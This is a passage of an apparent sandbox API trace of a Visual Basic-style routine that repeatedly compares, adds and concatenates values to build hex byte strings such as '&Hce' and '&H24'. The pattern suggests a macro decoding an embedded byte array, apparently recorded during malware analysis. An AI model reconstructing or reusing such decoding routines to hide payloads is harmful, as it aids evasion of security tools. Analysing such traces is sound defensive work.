[0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.011] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.011] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.011] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.011] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.011] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.012] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.012] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.012] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.012] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.012] VarBstrCat (in: bstrLeft="&H2", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.012] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.012] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.012] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.012] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.013] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.013] VarBstrCat (in: bstrLeft="&Hc", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.013] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.013] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.013] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.013] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.013] VarBstrCat (in: bstrLeft="&Hb", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.013] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.013] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.014] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.014] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.014] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.014] VarBstrCat (in: bstrLeft="&Hf", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.014] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.014] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.014] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.014] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.014] VarBstrCat (in: bstrLeft="&H8", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.014] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.015] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.015] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.015] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.015] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.015] VarBstrCat (in: bstrLeft="&H1", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.015] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.015] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.015] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.015] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.016] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.016] VarBstrCat (in: bstrLeft="&H7", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.016] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.016] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.016] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.016] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.016] VarBstrCat (in: bstrLeft="&H8", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.016] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.016] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.017] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.017] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.017] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.017] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.017] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.017] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.017] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.017] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.017] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.017] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.018] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.018] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.018] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.018] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.018] VarBstrCat (in: bstrLeft="&H8", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.018] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.018] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.018] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.018] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.018] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.018] VarBstrCat (in: bstrLeft="&Hf", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.019] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.019] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.019] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.019] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.019] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.019] VarBstrCat (in: bstrLeft="&H0", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.019] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.019] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.019] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.019] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.019] VarBstrCat (in: bstrLeft="&H2", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.019] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.019] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.019] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.019] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.020] VarBstrCat (in: bstrLeft="&Ha", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.020] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.020] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.020] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.020] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.020] VarBstrCat (in: bstrLeft="&Ha", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.020] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.020] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.020] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.020] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.020] VarBstrCat (in: bstrLeft="&Ha", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.020] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.020] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.020] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.020] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.020] VarBstrCat (in: bstrLeft="&Ha", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.021] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.021] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.021] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.021] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.021] VarBstrCat (in: bstrLeft="&Ha", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.021] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.021] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.021] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.021] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.021] VarBstrCat (in: bstrLeft="&Ha", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.021] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.021] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.021] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.021] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.022] VarBstrCat (in: bstrLeft="&Ha", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.022] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.022] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.022] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.022] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.022] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.022] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.022] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.022] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.022] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.022] VarBstrCat (in: bstrLeft="&H7", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 